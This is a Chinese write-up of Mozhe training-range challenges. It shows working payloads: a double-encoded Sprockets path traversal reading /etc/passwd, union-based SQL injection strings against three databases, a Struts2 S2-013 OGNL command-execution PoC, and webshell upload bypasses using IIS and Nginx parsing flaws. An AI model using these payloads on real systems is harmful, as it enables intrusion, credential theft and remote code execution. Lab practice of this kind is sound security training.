墨者靶场入门打靶记录
Xls文件分析溯源
背景介绍
墨者机缘巧合下得到了一个Xls文件,打开却发现该文件带密码验证。
实训目标
1、了解Xls文件的密码猜解手段;
解题方向
对文件作密码猜解手段。
解题过程
首先启动靶场,根据要求下载1.zip文件
解压1.zip得到题目(后缀为xlsx的表格文件)
一开始没有思路,于是百度了一下,发现大多数是改后缀.rar和vba脚本
改后缀会提示压缩包损坏;而因为进不去文件,vba脚本根本无效。
于是破解这种题就只能采取暴力破解
猜解密码是四位组合,如果不猜解,那么用工具跑真的太慢了!
于是生成字典,导入破解软件(advanced office password recovery)中
最终成功破解4位密码,得到key
或者使用 PassperforExcel软件进行暴力破解
uWSGI 漏洞复现(CVE-2018-7490)
背景介绍
uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。
实训目标
1、学会根据漏洞编号查找漏洞详情;
1、了解uWSGI CVE-2018-7490漏洞形成原理;
2、掌握uWSGI CVE-2018-7490漏洞利用方法;
解题方向
利用搜索工具了解CVE-2018-7490漏洞详情。再利用漏洞获取根目录key.txt的值。
受影响的版本
uWSGI 2.0.17之前的版本
漏洞分析
uWSGI PHP Plugin < 2.0.17
没能妥善处理DOCUMENT_ROOT
检测的--php-docroot
选项,导致攻击者可以通过带有..
序列的特制URL请求,达到目录遍历效果。
打开靶场发现Server API 是uWSGI
所以根据CVE-2018-7490的原理,我们可以实现目录穿越
直接构造…/会被过滤
所以我们URL编码一下再访问
拿到了key
Ruby On Rails漏洞复现(CVE-2018-3760)
背景介绍
Ruby On Rails是一个著名的Ruby Web开发框架,它在开发环境中使用Sprockets作为静态文件服务器。Sprockets是一个Ruby库,用于编译和分发静态资源文件。
实训目标
1、学会根据漏洞编号查找漏洞详情;
2、了解Ruby On Rails(CVE-2018-3760)形成原理;
3、学习Ruby On Rails(CVE-2018-3760)利用方法;
解题方向
利用已知漏洞读取文件passwd;
影响版本
版本 <=Sprockets 3.7.1
漏洞分析
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。
解题过程
直接使用file协议进行文件读取
发现 // 被过滤掉了,那么重新编码一下
虽然还是报错了,但是显示出了我们能够访问的路径,所以我们利用这个路径再来跳转一下
1 | http://124.70.64.48:40247/assets/file:%2f%2f/usr/src/blog/app/assets/config/ |
接下来要读取…/…/…/…/…/…/…/etc/passwd文件,需要编码两次
1 | %25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34 |
再来拼接一下
1 | http://124.70.64.48:40247/assets/file:%2f%2f/usr/src/blog/app/assets/config/%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34 |
进行访问得到key
Ruby On Rails漏洞复现(CVE-2019-5418)
背景介绍
Ruby On Rails是一个著名的Ruby Web开发框架,它在开发环境中使用Sprockets作为静态文件服务器。Sprockets是一个Ruby库,用于编译和分发静态资源文件。
实训目标
1、学会根据漏洞编号查找漏洞详情;
2、了解Ruby On Rails(CVE-2019-5418)形成原理;
3、学习Ruby On Rails(CVE-2019-5418)利用方法;
解题方向
利用已知漏洞读取文件passwd;
影响版本
Rails全版本
其中修复版本
6.0.0.beta3,
5.2.2.1
5.1.6.2
5.0.7.2
4.2.11.1
漏洞分析
在 Sprockets 3.7.1及之前版本中存在一个两次解码的路径穿越漏洞。而2019则主要是由于使用了为指定参数的render file来渲染应用之外的视图,修改访问某控制器的请求包,通过“…/…/…/…/”来达到路径穿越,再通过“两个左大括号”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。
解题过程
抓取访问robots文件的数据包
然后修改accept为:…/…/…/…/…/…/…/…/etc/passwd加两个左大括号
SQL手工注入漏洞测试(MySQL数据库)
打开靶场是一个登录界面,常见思路是
首先是万能密码测一波
然后是弱口令爆破一下
最后无果就是尝试sql注入
在这题,注入点不是在账号密码处,而是在这个公告这儿
测是否存在sql注入
1 | id=1 or 1=1 |
返回正常,说明后面的语句被解析执行了
测字段
1 | id=-1 order by 4 |
这里测出来有4个字段,为什么是-1,是因为这里只能用报错注入
测回显字段
1 | id=-1 union select 1,2,3,4 |
2,3位置有回显
测数据库
1 | id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 |
两个表,先去第一个表里查一查(这里我用了group_concat函数,这个函数的作用自己去网上查一查,我就不解释了,如果你不想用这个函数,就可以用limit 0,1 这样来一个一个测试,我觉得用group_concat效率更高,但是如果这个函数被禁止使用了,就只能用limit了)
测表中列名
1 | id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='StormGroup_member'),3,4 |
一共4个字段
这个表里一共4个字段
测表里的数据
1 | id=-1 union select 1,2,(select group_concat(id," ",name," ",password," ",status,"=======") from StormGroup_member),4 |
可以看出id都是1,账号名称都是mozhe,密码应该是md5加密过得,最后一个status,第二个账号是1,我先用第二个账号的密码试一试,md5解密去这儿,密码是884139
第二个账号成功登录
Apache Struts2远程代码执行漏洞(S2-013)复现
背景介绍
某日,安全工程师"墨者"对一单位业务系统进行授权扫描,在扫描过程中,发现了某个业务系统使用Apache Struts2框架。并且该版本存在高危漏洞,不知道运维人员是否修补了漏洞。
实训目标
1、了解Apache Struts2框架;
2、了解Apache Struts2远程代码执行漏洞(S2-013);
3、了解Apache Struts2远程代码执行漏洞形成原理;
4、掌握Apache Struts2远程代码执行漏洞利用方法;
解题方向
验证Apache Struts2远程代码执行漏洞(S2-013)。
由于URL和锚标记的includeParams属性中存在的漏洞允许远程命令执行。
影响版本
2.0.0 - 2.3.14.1
漏洞分析
Apache Struts2的s:a和s:url标签都提供了一个includeParams属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。攻击者可以提交带有恶意的Ongl表达式,达到执行任意Java代码的目的。只要基于Apache Struts2开发的JSP代码中使用了url/a标签并且设置了includeParams属性为all或get,远程攻击者即可利用此漏执行任意命令。
解题过程
经过搜索引擎一搜,会发现这个系统版本存在的漏洞是CVE-2013-1966
虽然题目有提示,但是在真实场景中还是只有自己扫一下
扫出来的是发现的是001和016,所以扫描工具也不是百分百准的哦
当然网上也有工具一键拿getshell
POC为
1 | ${(#_memberAccess["allowStaticMethodAccess"]=true,#a= .lang.Runtime .exec('ls /').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out= .apache.struts2.ServletActionContext .getWriter(),#out.println(#d),#out.close())} |
不过要记得URL编码
自己对应着修改exec里面的命令就行
参考链接:https://www.cnblogs.com/peace-and-romance/p/15635493.html
参考链接:https://www.hacking8.com/bug-product/Apache-Struts/CVE-2013-1966-s2-013.html
电子数据取证-流量分析(第1题)
背景介绍
某web安全工程师在网络中捕获到一段可疑流量,发现有人将机密数据隐藏在图片中传输了出去,你能分析出其中的奥秘吗?
实训目标
1、掌握“wireshark”的基本使用方法;
2、了解数据在网络中传输的过程和协议;
解题方向
使用“wireshark”过滤语句过滤流量。
解题过程
下载文件后,用wireshark打开
过滤HTTP包,会发现有一张图片数据包
选择追踪流-HTTP流
可以直接搜索flag,就出来了
SVN信息泄露漏洞分析(第1题)
背景介绍
SVN(subversion)是源代码版本管理软件。在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。
实训目标
1、了解SVN软件的工作方式;
2、掌握SVN漏洞利用基本方法;
解题方向
找到隐藏文件夹遍历文件。
漏洞分析
当svn使用了checkout命令后就会生成.svn文件,里面存储着备份信息。
svn信息泄露漏洞主要利用了里面的entrist文件,通过.svn/entrist可以下载里面的所有代码,但是只能作用在svn1.6之前的版本;
第二个作用在svn1.7后的版本,svn1.7后的版本引入一个名为wc.db的数据库数据存放文件来管理文件,通过访问.svn/wc.db可以下载到本地。
所以可以构造两个url
1 | /.svn/entrist |
解题过程
扫描过程中,key.php都扫出来了
一访问发现是一串md5值,跑去解密发现需要付费,我…
转而找其他办法
然后下载到了dc.db数据库文件
用SQLiteStudio软件打开,挨个查询了一下表,在NODES表里发现了Key is here.php信息
key就在这个文件里面
SQL手工注入漏洞测试(Access数据库)
背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境IIS+ASP+Access,Aspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Access的数据结构;
4.了解字符串的MD5加解密;
解题方向
手工进行SQL注入测试,获取管理密码登录。
解题过程
1 | id=1 order by 4 |
所以只要查username字段和passwd字段,就能看见账号密码了
这个题呢肯定还是得有点经验才行,比如我们在表里设置的一些常见的字段名id,username,password等等,最好是自己在网上搜集一些字典,然后根据那里面最最最常用的来试试。
参考链接:https://www.csdn.net/tags/MtTaEgwsMTM5NDQ3LWJsb2cO0O0O.html
参考链接:https://blog.csdn.net/qq_57307348/article/details/122904162
SQL手工注入漏洞测试(Sql Server数据库)
背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境IIS+ASP+Sql Server,Aspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Sql Server的数据结构;
4.了解字符串的MD5加解密;
解题方向
手工进行SQL注入测试,获取管理密码登录。
解题过程
1 | id=2 order by 4 |
这里已经查到了manage表
然后猜解列名得到了id,username,password列名
最后直接进行查水表
1 | id=-2 union all select null,username, password ,null from manage |
把密码拿去md5解密,就能成功登录
WebShell文件上传漏洞分析溯源(第2题)
背景介绍
安全工程师"墨者"在单位办公内网做日常检测时,发现某部门为了方便内部人员上传聚餐的活动图片,在某服务器上新增一简单的图片上传功能。然而这个存在一个很严重的高危漏洞。
实训目标
1、掌握浏览器对JavaScript的禁用方法;
2、掌握表单数据通过POST提交数据时,对数据的修改方法;
3、了解WebShell是什么及其作用;
4、了解JavaScript基本语法;
5、了解JavaScript对文件扩展名的验证;
6、了解PHP程序的WebShell脚本的执行原理;
解题方向
绕过页面对可执行文件上传的限制,利用WebShell读取服务器上的源代码内容。
解题过程
PHP环境,所以得上传PHP的马儿,而且看见Nginx,脑袋里就要反射出漏洞
1.对任意文件名,在后面添加任意文件名.php的解析漏洞,如原文件名是tets.jpg,可以添加为
test.jpg/x.php进行解析攻击。eg:http://www.test.com/Test/1.jpg/1.php
2.对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
Nginx 0.5.*
Nginx 0.6.*
Nginx 0.7 <= 0.7.65
3.如果允许的话可以把php后缀先改为jpg等格式,然后用bp抓包,再改为.php后缀
4.第四种方法就是因为这里的控制文件类型是前端js在进行验证,所以我们可以设置禁用js,然后直接选择php马儿上传,后缀都不用改
我这里用第三种方法。拦包改后缀
返回包里有文件上传的路径:/uploads/evals.php
上传后用蚁剑连接
内部文件上传系统漏洞分析溯源
背景介绍
在为某公司检测后台页面时,你发现了一个上传页面,该页面做了一些防护,你需要尝试绕过并上传webshell,以获得网站根目录访问权限
实训目标
1、熟悉常见中间件存在的解析漏洞;
2、熟悉一句话木马的使用与制作
3、熟悉常见的上传漏洞利用方法
解题方向
1、试探允许上传的文件类型
2、观察服务器在处理完上传任务后返回的内容,获取上传路径
3、尝试修改上传路径,观察服务器是否允许写入权限
解题过程
dir.asp/任意文件名 | Test.asp;任意文件名
IIS6.0 在解析 asp 格式的时候有两个解析漏洞(目录解析漏洞和文件名解析漏洞)。
1.如果目录名以 .asp .asa .cer .cdx 字符串结尾,那么这个目录下的所有文件都会按照 asp 格式去解析。 eg:Test.asp/1.jpg
2.只要文件名中包含有 .asp .asa .cer .cdx 会优先按照 asp 格式来解析。 eg:Test.asp;.jpg
IIS7.0/7.5 是对 php 解析时有一个类似 Nginx 的解析漏洞,对任意文件名只要在 URL 后追加上字符串 /任意文件名.php 就会按照 php 的方式去解析。
eg:http://www.test.com/Test/test.jpg/1.php
这个题是IIS6.0
然后把我们的asp马儿文件改为jpg的后缀
最重要的一步是修改目录名为1.asp
把返回地址记录下来,然后拼接连接,就可以用蚁剑去连接了
这里的漏洞原理就是利用的是目录解析漏洞,因为目录里含有.asp字符,所以这个.asp文件夹下的所有的文件都会以asp的格式去解析。
登录密码重置漏洞分析溯源
背景介绍
1、通过“朝阳群众”的举报,证实手机号“17101304128”在系统平台从事非法集资、诈骗活动。
2、请重置“17101304128”登录密码,以便登录获取完整的数字证据
实训目标
1、了解短信验证的方式;
2、了解短信验证绕过的方法;
3、掌握密码重置的一种法防;
解题方向
根据页面提示,对目标号码和自己注册的号码进行测试。
解题过程
进来发现是一个登录界面,要求我们将17101304128这个手机号的密码进行重置
在图中已经发现已注册的手机号,所以在这里使用调换验证码的思路,更改171的密码需要知道验证码,但是我们目前只知道188的验证码,所以我们就让171的手机使用188的验证码进行密码重置
- 获取188的验证码,进行填写
- 将188的手机号换成171的,并且再次点击获取验证码
- 此时再点击重置密码,完成171手机号的密码重置
得到key:mozhee180ffcbd9a726ba30fb1d6f3bb